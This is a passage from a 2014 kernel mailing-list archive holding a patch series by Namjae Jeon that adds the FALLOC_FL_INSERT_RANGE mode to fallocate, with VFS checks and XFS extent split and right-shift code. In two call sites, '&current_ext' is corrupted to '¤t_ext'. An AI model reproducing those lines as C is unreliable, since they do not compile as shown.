len bytes. Namjae Jeon (3): fs: Add FALLOC_FL_INSERT_RANGE flags for fallocate xfs: Add support FALLOC_FL_INSERT_RANGE for fallocate ext4: Add support FALLOC_FL_INSERT_RANGE for fallocate TODO : xfsprog: xfsio: Add support FALLOC_FL_INSERT_RANGE for fallocate TODO : xfstests: Add insert range testcase -- 1.7.11-rc0 From linkinjeon@gmail.com Mon Mar 31 09:54:24 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=FREEMAIL_FROM,T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 6740829E10 for ; Mon, 31 Mar 2014 09:54:24 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id 446D3304059 for ; Mon, 31 Mar 2014 07:54:24 -0700 (PDT) X-ASG-Debug-ID: 1396277663-04cbb054b997c9a0001-NocioJ Received: from mail-pb0-f48.google.com (mail-pb0-f48.google.com [209.85.160.48]) by cuda.sgi.com with ESMTP id jBskHG88Y3V8bgEE (version=TLSv1 cipher=RC4-SHA bits=128 verify=NO) for ; Mon, 31 Mar 2014 07:54:23 -0700 (PDT) X-Barracuda-Envelope-From: linkinjeon@gmail.com X-Barracuda-RBL-Trusted-Forwarder: 209.85.160.48 Received: by mail-pb0-f48.google.com with SMTP id md12so8249462pbc.7 for ; Mon, 31 Mar 2014 07:54:22 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=from:to:cc:subject:date:message-id; bh=15phU208XB1cWUPNKXcnqEngwrQ4d0KA9nhpSV7pejs=; b=G7u8nJAdpUexgwEP6ep2AivI4zil53GBOygnNGKmKmjjpKEWFs0Fqg6/DyCyNV+NJ1 WiAWrI9wFlVJbIFAtZ2Imu5arKnCXgiSrYtq8ejXewKRsvFLodkV6Wxtj7cadeNYu7wD xI0lzMZlWaR6AwdH2I/7EHWTOp4cJGJukNP9ZJ+vHZEniQDjDu4ds7vYPSWtkXDAbi5x IHNiQkuhZ9PJH50Th3iejeQW+9iKYbZ0UkUaupWMMsB5+BtU7RtVjaeRpMPWjQbgPijg J5T5k2WrX2zeRxlSo4/YplHC1L/Vs4WEEIEik2IzrSPRDSWaN8r537np3uubBQPY+aqB bjww== X-Barracuda-BBL-IP: nil X-Received: by 10.66.161.38 with SMTP id xp6mr4061960pab.145.1396277662860; Mon, 31 Mar 2014 07:54:22 -0700 (PDT) Received: from linkinjeon-Aspire-One-522.kornet ([61.84.85.244]) by mx.google.com with ESMTPSA id kt8sm41738013pab.7.2014.03.31.07.54.19 for (version=TLSv1 cipher=ECDHE-RSA-RC4-SHA bits=128/128); Mon, 31 Mar 2014 07:54:22 -0700 (PDT) From: Namjae Jeon X-Barracuda-Apparent-Source-IP: 61.84.85.244 To: viro@zeniv.linux.org.uk, david@fromorbit.com, hch@infradead.org, tytso@mit.edu, adilger.kernel@dilger.ca, jack@suse.cz, lczerner@redhat.com Cc: linux-fsdevel@vger.kernel.org, xfs@oss.sgi.com, linux-ext4@vger.kernel.org, linux-kernel@vger.kernel.org, Namjae Jeon , Namjae Jeon , Ashish Sangwan Subject: [PATCH 1/3] fs: Add FALLOC_FL_INSERT_RANGE flags for fallocate Date: Mon, 31 Mar 2014 23:54:13 +0900 X-ASG-Orig-Subj: [PATCH 1/3] fs: Add FALLOC_FL_INSERT_RANGE flags for fallocate Message-Id: <1396277653-10827-1-git-send-email-linkinjeon@gmail.com> X-Mailer: git-send-email 1.7.9.5 X-Barracuda-Connect: mail-pb0-f48.google.com[209.85.160.48] X-Barracuda-Start-Time: 1396277663 X-Barracuda-Encrypted: RC4-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.4458 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature From: Namjae Jeon FALLOC_FL_INSERT_RANGE command is the opposite command of FALLOC_FL_COLLAPSE_RANGE that is needed for advertisers or someone who want to add some data in the middle of file. FALLOC_FL_INSERT_RANGE will insert a range of a file after shifting extents to right as given length. and this command also has same limitation as FALLOC_FL_COLLAPSE_RANGE, block boundary and use ftruncate(2) for crosses EOF. Signed-off-by: Namjae Jeon Signed-off-by: Ashish Sangwan --- fs/open.c | 21 ++++++++++++++++++--- include/uapi/linux/falloc.h | 17 +++++++++++++++++ 2 files changed, 35 insertions(+), 3 deletions(-) diff --git a/fs/open.c b/fs/open.c index 631aea8..34727ba 100644 --- a/fs/open.c +++ b/fs/open.c @@ -232,7 +232,8 @@ int do_fallocate(struct file *file, int mode, loff_t offset, loff_t len) /* Return error if mode is not supported */ if (mode & ~(FALLOC_FL_KEEP_SIZE | FALLOC_FL_PUNCH_HOLE | - FALLOC_FL_COLLAPSE_RANGE | FALLOC_FL_ZERO_RANGE)) + FALLOC_FL_COLLAPSE_RANGE | FALLOC_FL_ZERO_RANGE | + FALLOC_FL_INSERT_RANGE)) return -EOPNOTSUPP; /* Punch hole and zero range are mutually exclusive */ @@ -250,6 +251,11 @@ int do_fallocate(struct file *file, int mode, loff_t offset, loff_t len) (mode & ~FALLOC_FL_COLLAPSE_RANGE)) return -EINVAL; + /* Insert range should only be used exclusively. */ + if ((mode & FALLOC_FL_INSERT_RANGE) && + (mode & ~FALLOC_FL_INSERT_RANGE)) + return -EINVAL; + if (!(file->f_mode & FMODE_WRITE)) return -EBADF; @@ -257,8 +263,8 @@ int do_fallocate(struct file *file, int mode, loff_t offset, loff_t len) * It's not possible to punch hole or perform collapse range * on append only file */ - if (mode & (FALLOC_FL_PUNCH_HOLE | FALLOC_FL_COLLAPSE_RANGE) - && IS_APPEND(inode)) + if (mode & (FALLOC_FL_PUNCH_HOLE | FALLOC_FL_COLLAPSE_RANGE | + FALLOC_FL_INSERT_RANGE) && IS_APPEND(inode)) return -EPERM; if (IS_IMMUTABLE(inode)) @@ -286,6 +292,11 @@ int do_fallocate(struct file *file, int mode, loff_t offset, loff_t len) if (((offset + len) > inode->i_sb->s_maxbytes) || ((offset + len) < 0)) return -EFBIG; + /* Check for wrap through zero in case of insert range. */ + if ((mode & FALLOC_FL_INSERT_RANGE) && (inode->i_size + len) > + inode->i_sb->s_maxbytes) + return -EFBIG; + /* * There is no need to overlap collapse range with EOF, in which case * it is effectively a truncate operation @@ -294,6 +305,10 @@ int do_fallocate(struct file *file, int mode, loff_t offset, loff_t len) (offset + len >= i_size_read(inode))) return -EINVAL; + /* Offset should be less than i_size in case of insert range. */ + if ((mode & FALLOC_FL_INSERT_RANGE) && (offset >= i_size_read(inode))) + return -EINVAL; + if (!file->f_op->fallocate) return -EOPNOTSUPP; diff --git a/include/uapi/linux/falloc.h b/include/uapi/linux/falloc.h index d1197ae..f4d12eb 100644 --- a/include/uapi/linux/falloc.h +++ b/include/uapi/linux/falloc.h @@ -41,4 +41,21 @@ */ #define FALLOC_FL_ZERO_RANGE 0x10 +/* + * FALLOC_FL_INSERT_RANGE is use to allocate disk space within the file size + * without overwriting any existing data. The contents of the file beyond offset + * are shifted towards right by len bytes to create space for inserting + * new disk blocks and in this space new zeroed out disk blocks are inserted. + * As such, this operation will increase the size of the file by len bytes. + * Different filesystems may implement different limitations on the granularity + * of the operation. Most will limit operations to filesystem block size + * boundaries, but this boundary may be larger or smaller depending on + * the filesystem and/or the configuration of the filesystem or file. + * + * Attempting to allocate new blocks using this flag at OR beyond the end of + * the file is considered an illegal operation - just use ftruncate(2) or + * fallocate(2) with mode 0 for such type of operations. + */ +#define FALLOC_FL_INSERT_RANGE 0x20 + #endif /* _UAPI_FALLOC_H_ */ -- 1.7.11-rc0 From linkinjeon@gmail.com Mon Mar 31 09:54:43 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=FREEMAIL_FROM,T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 9D89529E18 for ; Mon, 31 Mar 2014 09:54:43 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id 05300AC003 for ; Mon, 31 Mar 2014 07:54:39 -0700 (PDT) X-ASG-Debug-ID: 1396277677-04cb6c5678b678a0001-NocioJ Received: from mail-pb0-f41.google.com (mail-pb0-f41.google.com [209.85.160.41]) by cuda.sgi.com with ESMTP id VzNeCYXu7oXfRg8H (version=TLSv1 cipher=RC4-SHA bits=128 verify=NO) for ; Mon, 31 Mar 2014 07:54:37 -0700 (PDT) X-Barracuda-Envelope-From: linkinjeon@gmail.com X-Barracuda-RBL-Trusted-Forwarder: 209.85.160.41 Received: by mail-pb0-f41.google.com with SMTP id jt11so8342553pbb.0 for ; Mon, 31 Mar 2014 07:54:37 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=from:to:cc:subject:date:message-id; bh=qh8i4U8sJFq7ciw8b1rvSEIvb+M5o+oR4iDdWW48lio=; b=ZAXrO1oMLA5C+yHdves+iX6I/6W8bnHdJagVca6CaS22kIZ6oFjKf8H2Mp1M9uBThF cgufaBKsZlXK/T+bFun/LOEmUFbDy+Zna9ZfFSKOeiktTR6ueB0gTJKVpl0bJGOvjKfr OGtBlCM+bRIejL1pnVOihlTLSj3r0XIAXZDgD4gFgWhKzNSXzh8nCNCfGRuf0g5+mTcM CLyjxvQmvEy3XaW/7VRO1x6adPBrkm2+YZiUXbKrGl/J2aKN5T9wgH+mjXyEQRerO+R6 eo0i4+gAVyxnTFaBRbCuZJZsHP3HFECcN+pbELBX/Ovo4+K/L33WVAHMGr75MMroIvJp +opA== X-Barracuda-BBL-IP: nil X-Received: by 10.68.197.66 with SMTP id is2mr25700288pbc.96.1396277677138; Mon, 31 Mar 2014 07:54:37 -0700 (PDT) Received: from linkinjeon-Aspire-One-522.kornet ([61.84.85.244]) by mx.google.com with ESMTPSA id aj7sm41744684pad.29.2014.03.31.07.54.34 for (version=TLSv1 cipher=ECDHE-RSA-RC4-SHA bits=128/128); Mon, 31 Mar 2014 07:54:36 -0700 (PDT) From: Namjae Jeon X-Barracuda-Apparent-Source-IP: 61.84.85.244 To: viro@zeniv.linux.org.uk, david@fromorbit.com, hch@infradead.org, tytso@mit.edu, adilger.kernel@dilger.ca, jack@suse.cz, lczerner@redhat.com Cc: linux-fsdevel@vger.kernel.org, xfs@oss.sgi.com, linux-ext4@vger.kernel.org, linux-kernel@vger.kernel.org, Namjae Jeon , Namjae Jeon , Ashish Sangwan Subject: [PATCH 2/3] xfs: Add support FALLOC_FL_INSERT_RANGE for fallocate Date: Mon, 31 Mar 2014 23:54:28 +0900 X-ASG-Orig-Subj: [PATCH 2/3] xfs: Add support FALLOC_FL_INSERT_RANGE for fallocate Message-Id: <1396277668-10861-1-git-send-email-linkinjeon@gmail.com> X-Mailer: git-send-email 1.7.9.5 X-Barracuda-Connect: mail-pb0-f41.google.com[209.85.160.41] X-Barracuda-Start-Time: 1396277677 X-Barracuda-Encrypted: RC4-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.4457 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature From: Namjae Jeon This patch implements fallocate's FALLOC_FL_INSERT_RANGE for XFS. 1) Make sure that both offset and len are block size aligned. 2) Compute the file's logical block number against offset. If the computed block number is not the starting block of the extent, split the extent such that the block number is the starting block of the extent. 3) Shift all the extents which are lying bewteen [offset, last allocated extent] towards right by len bytes. This step will make a hole of len bytes at offset. 4) Allocate unwritten extents for the hole created in step 3. 5) Update the i_size of inode by len bytes. Signed-off-by: Namjae Jeon Signed-off-by: Ashish Sangwan --- fs/xfs/xfs_bmap.c | 371 ++++++++++++++++++++++++++++++++++++++++++++++++- fs/xfs/xfs_bmap.h | 9 +- fs/xfs/xfs_bmap_util.c | 123 +++++++++++++++- fs/xfs/xfs_bmap_util.h | 2 + fs/xfs/xfs_file.c | 17 ++- fs/xfs/xfs_trace.h | 1 + 6 files changed, 518 insertions(+), 5 deletions(-) diff --git a/fs/xfs/xfs_bmap.c b/fs/xfs/xfs_bmap.c index 5b6092e..66635a5 100644 --- a/fs/xfs/xfs_bmap.c +++ b/fs/xfs/xfs_bmap.c @@ -5389,7 +5389,7 @@ error0: * into, this will be considered invalid operation and we abort immediately. */ int -xfs_bmap_shift_extents( +xfs_bmap_shift_extents_left( struct xfs_trans *tp, struct xfs_inode *ip, int *done, @@ -5418,7 +5418,7 @@ xfs_bmap_shift_extents( (XFS_IFORK_FORMAT(ip, whichfork) != XFS_DINODE_FMT_EXTENTS && XFS_IFORK_FORMAT(ip, whichfork) != XFS_DINODE_FMT_BTREE), mp, XFS_ERRTAG_BMAPIFORMAT, XFS_RANDOM_BMAPIFORMAT))) { - XFS_ERROR_REPORT("xfs_bmap_shift_extents", + XFS_ERROR_REPORT("xfs_bmap_shift_extents_left", XFS_ERRLEVEL_LOW, mp); return XFS_ERROR(EFSCORRUPTED); } @@ -5571,3 +5571,370 @@ del_cursor: return error; } + +/* + * Splits an extent into two extents at split_fsb block that it is + * the first block of the current_ext. @current_ext is a target extent + * to be splitted. @split_fsb is a block where the extents is spliited. + * If split_fsb lies in a hole or the first block of extents, just return 0. + */ +STATIC int +xfs_bmap_split_extent_at( + struct xfs_trans *tp, + struct xfs_inode *ip, + xfs_fileoff_t split_fsb, + xfs_extnum_t *current_ext, + xfs_fsblock_t *firstfsb, + struct xfs_bmap_free *free_list) +{ + int whichfork = XFS_DATA_FORK; + struct xfs_btree_cur *cur; + struct xfs_bmbt_rec_host *gotp; + struct xfs_bmbt_irec got; + struct xfs_bmbt_irec new; /* splitted extent */ + struct xfs_mount *mp = ip->i_mount; + struct xfs_ifork *ifp; + xfs_fsblock_t gotblkcnt; /* new block count for got */ + int error = 0; + int logflags; + int i = 0; + + if (unlikely(XFS_TEST_ERROR( + (XFS_IFORK_FORMAT(ip, whichfork) != XFS_DINODE_FMT_EXTENTS && + XFS_IFORK_FORMAT(ip, whichfork) != XFS_DINODE_FMT_BTREE), + mp, XFS_ERRTAG_BMAPIFORMAT, XFS_RANDOM_BMAPIFORMAT))) { + XFS_ERROR_REPORT("xfs_bmap_split_extent_at", + XFS_ERRLEVEL_LOW, mp); + return XFS_ERROR(EFSCORRUPTED); + } + + if (XFS_FORCED_SHUTDOWN(mp)) + return XFS_ERROR(EIO); + + ASSERT(current_ext != NULL); + + ifp = XFS_IFORK_PTR(ip, whichfork); + if (!(ifp->if_flags & XFS_IFEXTENTS)) { + /* Read in all the extents */ + error = xfs_iread_extents(tp, ip, whichfork); + if (error) + return error; + } + + gotp = xfs_iext_bno_to_ext(ifp, split_fsb, current_ext); + /* + * gotp can be null in 2 cases: 1) if there are no extents + * or 2) split_fsb lies in a hole beyond which there are + * no extents. Either way, we are done. + */ + if (!gotp) + return 0; + + xfs_bmbt_get_all(gotp, &got); + + /* + * Check split_fsb lies in a hole or the start boundary offset + * of the extent. + */ + if (got.br_startoff >= split_fsb) + return 0; + + gotblkcnt = split_fsb - got.br_startoff; + new.br_startoff = split_fsb; + new.br_startblock = got.br_startblock + gotblkcnt; + new.br_blockcount = got.br_blockcount - gotblkcnt; + new.br_state = got.br_state; + + /* We are going to change core inode */ + logflags = XFS_ILOG_CORE; + + if (ifp->if_flags & XFS_IFBROOT) { + cur = xfs_bmbt_init_cursor(mp, tp, ip, whichfork); + cur->bc_private.b.firstblock = *firstfsb; + cur->bc_private.b.flist = free_list; + cur->bc_private.b.flags = 0; + } else { + cur = NULL; + logflags |= XFS_ILOG_DEXT; + } + + if (cur) { + error = xfs_bmbt_lookup_eq(cur, got.br_startoff, + got.br_startblock, + got.br_blockcount, + &i); + if (error) + goto del_cursor; + XFS_WANT_CORRUPTED_GOTO(i == 1, del_cursor); + } + + xfs_bmbt_set_blockcount(gotp, gotblkcnt); + got.br_blockcount = gotblkcnt; + if (cur) { + error = xfs_bmbt_update(cur, got.br_startoff, + got.br_startblock, + got.br_blockcount, + got.br_state); + if (error) + goto del_cursor; + } + + /* Add new extent */ + (*current_ext)++; + xfs_iext_insert(ip, *current_ext, 1, &new, 0); + XFS_IFORK_NEXT_SET(ip, whichfork, + XFS_IFORK_NEXTENTS(ip, whichfork) + 1); + + if (cur) { + error = xfs_bmbt_lookup_eq(cur, new.br_startoff, + new.br_startblock, new.br_blockcount, + &i); + if (error) + goto del_cursor; + XFS_WANT_CORRUPTED_GOTO(i == 0, del_cursor); + cur->bc_rec.b.br_state = new.br_state; + + error = xfs_btree_insert(cur, &i); + if (error) + goto del_cursor; + XFS_WANT_CORRUPTED_GOTO(i == 1, del_cursor); + } + + /* + * Convert to a btree if necessary. + */ + if (xfs_bmap_needs_btree(ip, whichfork)) { + int tmp_logflags; /* partial log flag return val */ + ASSERT(cur == NULL); + error = xfs_bmap_extents_to_btree(tp, ip, firstfsb, free_list, + &cur, 0, &tmp_logflags, whichfork); + logflags |= tmp_logflags; + } + +del_cursor: + if (cur) + xfs_btree_del_cursor(cur, + error ? XFS_BTREE_ERROR : XFS_BTREE_NOERROR); + xfs_trans_log_inode(tp, ip, logflags); + return error; +} + +int +xfs_bmap_split_extent( + struct xfs_inode *ip, + xfs_fileoff_t split_fsb, + xfs_extnum_t *split_ext) +{ + struct xfs_mount *mp = ip->i_mount; + struct xfs_trans *tp; + struct xfs_bmap_free free_list; + xfs_fsblock_t firstfsb; + int committed; + int error; + + tp = xfs_trans_alloc(mp, XFS_TRANS_DIOSTRAT); + tp->t_flags |= XFS_TRANS_RESERVE; + error = xfs_trans_reserve(tp, &M_RES(mp)->tr_write, + XFS_DIOSTRAT_SPACE_RES(mp, 0), 0); + + /* + * check for running out of space + */ + if (error) { + /* + * Free the transaction structure. + */ + ASSERT(error == ENOSPC || XFS_FORCED_SHUTDOWN(mp)); + xfs_trans_cancel(tp, 0); + return error; + } + + xfs_ilock(ip, XFS_ILOCK_EXCL); + error = xfs_trans_reserve_quota(tp, mp, ip->i_udquot, + ip->i_gdquot, ip->i_pdquot, + XFS_DIOSTRAT_SPACE_RES(mp, 0), 0, + XFS_QMOPT_RES_REGBLKS); + if (error) + goto error1; + + xfs_trans_ijoin(tp, ip, 0); + xfs_bmap_init(&free_list, &firstfsb); + + error = xfs_bmap_split_extent_at(tp, ip, split_fsb, split_ext, + &firstfsb, &free_list); + if (error) + goto error0; + + error = xfs_bmap_finish(&tp, &free_list, &committed); + if (error) + goto error0; + + error = xfs_trans_commit(tp, XFS_TRANS_RELEASE_LOG_RES); + xfs_iunlock(ip, XFS_ILOCK_EXCL); + + return error; +error0: + xfs_bmap_cancel(&free_list); +error1: + xfs_trans_cancel(tp, XFS_TRANS_RELEASE_LOG_RES | XFS_TRANS_ABORT); + xfs_iunlock(ip, XFS_ILOCK_EXCL); + return error; +} + +/* + * Shift extent records to the right to make a hole. + * The maximum number of extents to be shifted in a single operation + * is @num_exts, and @current_ext keeps track of the current extent + * index we have shifted. @offset_shift_fsb is the length by which each + * extent is shifted. @end_ext is the last extent to be shifted. + */ +int +xfs_bmap_shift_extents_right( + struct xfs_trans *tp, + struct xfs_inode *ip, + int *done, + xfs_fileoff_t offset_shift_fsb, + xfs_extnum_t *current_ext, + xfs_extnum_t end_ext, + xfs_fsblock_t *firstblock, + struct xfs_bmap_free *flist, + int num_exts) +{ + struct xfs_mount *mp = ip->i_mount; + struct xfs_btree_cur *cur; + struct xfs_bmbt_rec_host *gotp; + struct xfs_bmbt_irec got; + struct xfs_bmbt_irec right; + xfs_ifork_t *ifp; + xfs_fileoff_t startoff; + xfs_filblks_t blockcount = 0; + int error = 0; + int i; + int whichfork = XFS_DATA_FORK; + int logflags; + + if (unlikely(XFS_TEST_ERROR( + (XFS_IFORK_FORMAT(ip, whichfork) != XFS_DINODE_FMT_EXTENTS && + XFS_IFORK_FORMAT(ip, whichfork) != XFS_DINODE_FMT_BTREE), + mp, XFS_ERRTAG_BMAPIFORMAT, XFS_RANDOM_BMAPIFORMAT))) { + XFS_ERROR_REPORT("xfs_bmap_shift_extents_right", + XFS_ERRLEVEL_LOW, mp); + return XFS_ERROR(EFSCORRUPTED); + } + + if (XFS_FORCED_SHUTDOWN(mp)) + return XFS_ERROR(EIO); + + ASSERT(current_ext != NULL); + + /* We are going to change core inode */ + logflags = XFS_ILOG_CORE; + ifp = XFS_IFORK_PTR(ip, whichfork); + + if (ifp->if_flags & XFS_IFBROOT) { + cur = xfs_bmbt_init_cursor(mp, tp, ip, whichfork); + cur->bc_private.b.firstblock = *firstblock; + cur->bc_private.b.flist = flist; + cur->bc_private.b.flags = 0; + } else { + cur = NULL; + logflags |= XFS_ILOG_DEXT; + } + + /* start shifting extents to right */ + while (num_exts-- > 0) { + if (*current_ext < end_ext) { + *done = 1; + break; + } + + gotp = xfs_iext_get_ext(ifp, *current_ext); + xfs_bmbt_get_all(gotp, &got); + startoff = got.br_startoff + offset_shift_fsb; + + /* + * Before shifting extent into hole, make sure that the hole + * is large enough to accomodate the shift. This checking has + * to be performed for all except the last extent. + */ + if ((XFS_IFORK_NEXTENTS(ip, whichfork) - 1) != *current_ext) { + xfs_bmbt_get_all(xfs_iext_get_ext(ifp, + *current_ext + 1), &right); + if (startoff + got.br_blockcount > right.br_startoff) { + error = XFS_ERROR(EINVAL); + if (error) + goto del_cursor; + } + } + + /* Check if we can merge 2 adjacent extents */ + if ((XFS_IFORK_NEXTENTS(ip, whichfork) - 1) != *current_ext && + right.br_startoff == startoff + got.br_blockcount && + right.br_startblock == + got.br_startblock + got.br_blockcount && + right.br_state == got.br_state && + right.br_blockcount + got.br_blockcount <= MAXEXTLEN) { + blockcount = right.br_blockcount + got.br_blockcount; + + /* Make cursor point to the extent we will update */ + if (cur) { + error = xfs_bmbt_lookup_eq(cur, + right.br_startoff, + right.br_startblock, + right.br_blockcount, + &i); + if (error) + goto del_cursor; + XFS_WANT_CORRUPTED_GOTO(i == 1, del_cursor); + } + + xfs_iext_remove(ip, *current_ext + 1, 1, 0); + if (cur) { + error = xfs_btree_delete(cur, &i); + if (error) + goto del_cursor; + XFS_WANT_CORRUPTED_GOTO(i == 1, del_cursor); + } + XFS_IFORK_NEXT_SET(ip, whichfork, + XFS_IFORK_NEXTENTS(ip, whichfork) - 1); + + } + + if (cur) { + error = xfs_bmbt_lookup_eq(cur, got.br_startoff, + got.br_startblock, + got.br_blockcount, + &i); + if (error) + goto del_cursor; + XFS_WANT_CORRUPTED_GOTO(i == 1, del_cursor); + } + + if (got.br_blockcount < blockcount) { + xfs_bmbt_set_blockcount(gotp, blockcount); + got.br_blockcount = blockcount; + } + + + xfs_bmbt_set_startoff(gotp, startoff); + got.br_startoff = startoff; + + if (cur) { + error = xfs_bmbt_update(cur, got.br_startoff, + got.br_startblock, + got.br_blockcount, + got.br_state); + if (error) + goto del_cursor; + } + + (*current_ext)--; + } + +del_cursor: + if (cur) + xfs_btree_del_cursor(cur, + error ? XFS_BTREE_ERROR : XFS_BTREE_NOERROR); + xfs_trans_log_inode(tp, ip, logflags); + return error; +} diff --git a/fs/xfs/xfs_bmap.h b/fs/xfs/xfs_bmap.h index f84bd7a..91ca1a7 100644 --- a/fs/xfs/xfs_bmap.h +++ b/fs/xfs/xfs_bmap.h @@ -179,10 +179,17 @@ int xfs_bunmapi(struct xfs_trans *tp, struct xfs_inode *ip, int xfs_check_nostate_extents(struct xfs_ifork *ifp, xfs_extnum_t idx, xfs_extnum_t num); uint xfs_default_attroffset(struct xfs_inode *ip); -int xfs_bmap_shift_extents(struct xfs_trans *tp, struct xfs_inode *ip, +int xfs_bmap_shift_extents_left(struct xfs_trans *tp, struct xfs_inode *ip, int *done, xfs_fileoff_t start_fsb, xfs_fileoff_t offset_shift_fsb, xfs_extnum_t *current_ext, xfs_fsblock_t *firstblock, struct xfs_bmap_free *flist, int num_exts); +int xfs_bmap_split_extent(struct xfs_inode *ip, xfs_fileoff_t split_offset, + xfs_extnum_t *split_ext); +int xfs_bmap_shift_extents_right(struct xfs_trans *tp, struct xfs_inode *ip, + int *done, xfs_fsblock_t offset_shift_fsb, + xfs_extnum_t *current_ext, xfs_extnum_t end_ext, + xfs_fsblock_t *firstblock, struct xfs_bmap_free *flist, + int num_exts); #endif /* __XFS_BMAP_H__ */ diff --git a/fs/xfs/xfs_bmap_util.c b/fs/xfs/xfs_bmap_util.c index 01f6a64..8b10d6d 100644 --- a/fs/xfs/xfs_bmap_util.c +++ b/fs/xfs/xfs_bmap_util.c @@ -1539,7 +1539,7 @@ xfs_collapse_file_space( * We are using the write transaction in which max 2 bmbt * updates are allowed */ - error = xfs_bmap_shift_extents(tp, ip, &done, start_fsb, + error = xfs_bmap_shift_extents_left(tp, ip, &done, start_fsb, shift_fsb, ¤t_ext, &first_block, &free_list, XFS_BMAP_MAX_SHIFT_EXTENTS); @@ -1563,6 +1563,127 @@ out: } /* + * xfs_insert_file_space() + * This routine allocate disk space and shift extent for the given file. + * The first thing we do is to sync dirty data and invalidate page cache + * over the region on which insert range is working. And split an extent + * to two extents at given offset by calling xfs_bmap_split_extent. + * And shift all extent records which are laying between [offset, + * last allocated extent] to the right to reserve hole range. Lastly + * allocate an unwritten extent in hole range created by shifting extents. + * + * RETURNS: + * 0 on success + * errno on error + * + */ +int +xfs_insert_file_space( + struct xfs_inode *ip, + loff_t offset, + loff_t len) +{ + struct xfs_mount *mp = ip->i_mount; + struct xfs_trans *tp; + struct xfs_bmap_free free_list; + xfs_fsblock_t first_block; + int done = 0; + int committed; + int error; + uint rounding; + xfs_fileoff_t start_fsb; + xfs_fileoff_t shift_fsb; + xfs_extnum_t split_ext; + xfs_extnum_t current_ext = 0; + xfs_off_t ioffset; + + ASSERT(xfs_isilocked(ip, XFS_IOLOCK_EXCL)); + trace_xfs_insert_file_space(ip); + + /* wait for the completion of any pending DIOs */ + inode_dio_wait(VFS_I(ip)); + + rounding = max_t(uint, 1 << mp->m_sb.sb_blocklog, PAGE_CACHE_SIZE); + ioffset = offset & ~(rounding - 1); + error = -filemap_write_and_wait_range(VFS_I(ip)->i_mapping, + ioffset, -1); + if (error) + return error; + truncate_pagecache_range(VFS_I(ip), ioffset, -1); + + start_fsb = XFS_B_TO_FSB(mp, offset); + shift_fsb = XFS_B_TO_FSB(mp, len); + + error = xfs_bmap_split_extent(ip, start_fsb, &split_ext); + if (error) + return error; + + current_ext = XFS_IFORK_NEXTENTS(ip, XFS_DATA_FORK) - 1; + while (!error && !done) { + tp = xfs_trans_alloc(mp, XFS_TRANS_DIOSTRAT); + tp->t_flags |= XFS_TRANS_RESERVE; + /* + * We would need to reserve permanent block for transaction. + * This will come into picture when after shifting extent into + * hole we found that adjacent extents can be merged which + * may lead to freeing of a block during record update. + */ + error = xfs_trans_reserve(tp, &M_RES(mp)->tr_write, + XFS_DIOSTRAT_SPACE_RES(mp, 0), 0); + if (error) { + ASSERT(error == ENOSPC || XFS_FORCED_SHUTDOWN(mp)); + xfs_trans_cancel(tp, 0); + break; + } + + xfs_ilock(ip, XFS_ILOCK_EXCL); + error = xfs_trans_reserve_quota(tp, mp, ip->i_udquot, + ip->i_gdquot, ip->i_pdquot, + XFS_DIOSTRAT_SPACE_RES(mp, 0), 0, + XFS_QMOPT_RES_REGBLKS); + if (error) + goto error1; + + xfs_trans_ijoin(tp, ip, 0); + + xfs_bmap_init(&free_list, &first_block); + + /* + * We are using the write transaction in which max 2 bmbt + * updates are allowed + */ + error = xfs_bmap_shift_extents_right(tp, ip, &done, shift_fsb, + ¤t_ext, split_ext, + &first_block, &free_list, + XFS_BMAP_MAX_SHIFT_EXTENTS); + if (error) + goto error0; + + error = xfs_bmap_finish(&tp, &free_list, &committed); + if (error) + goto error0; + + error = xfs_trans_commit(tp, XFS_TRANS_RELEASE_LOG_RES); + xfs_iunlock(ip, XFS_ILOCK_EXCL); + if (error) + goto out; + } + + /* make unwritten extent in a hole range. */ + error = xfs_alloc_file_space(ip, offset, len, XFS_BMAPI_PREALLOC); + +out: + return error; + +error0: + xfs_bmap_cancel(&free_list); +error1: + xfs_trans_cancel(tp, XFS_TRANS_RELEASE_LOG_RES | XFS_TRANS_ABORT); + xfs_iunlock(ip, XFS_ILOCK_EXCL); + return error; 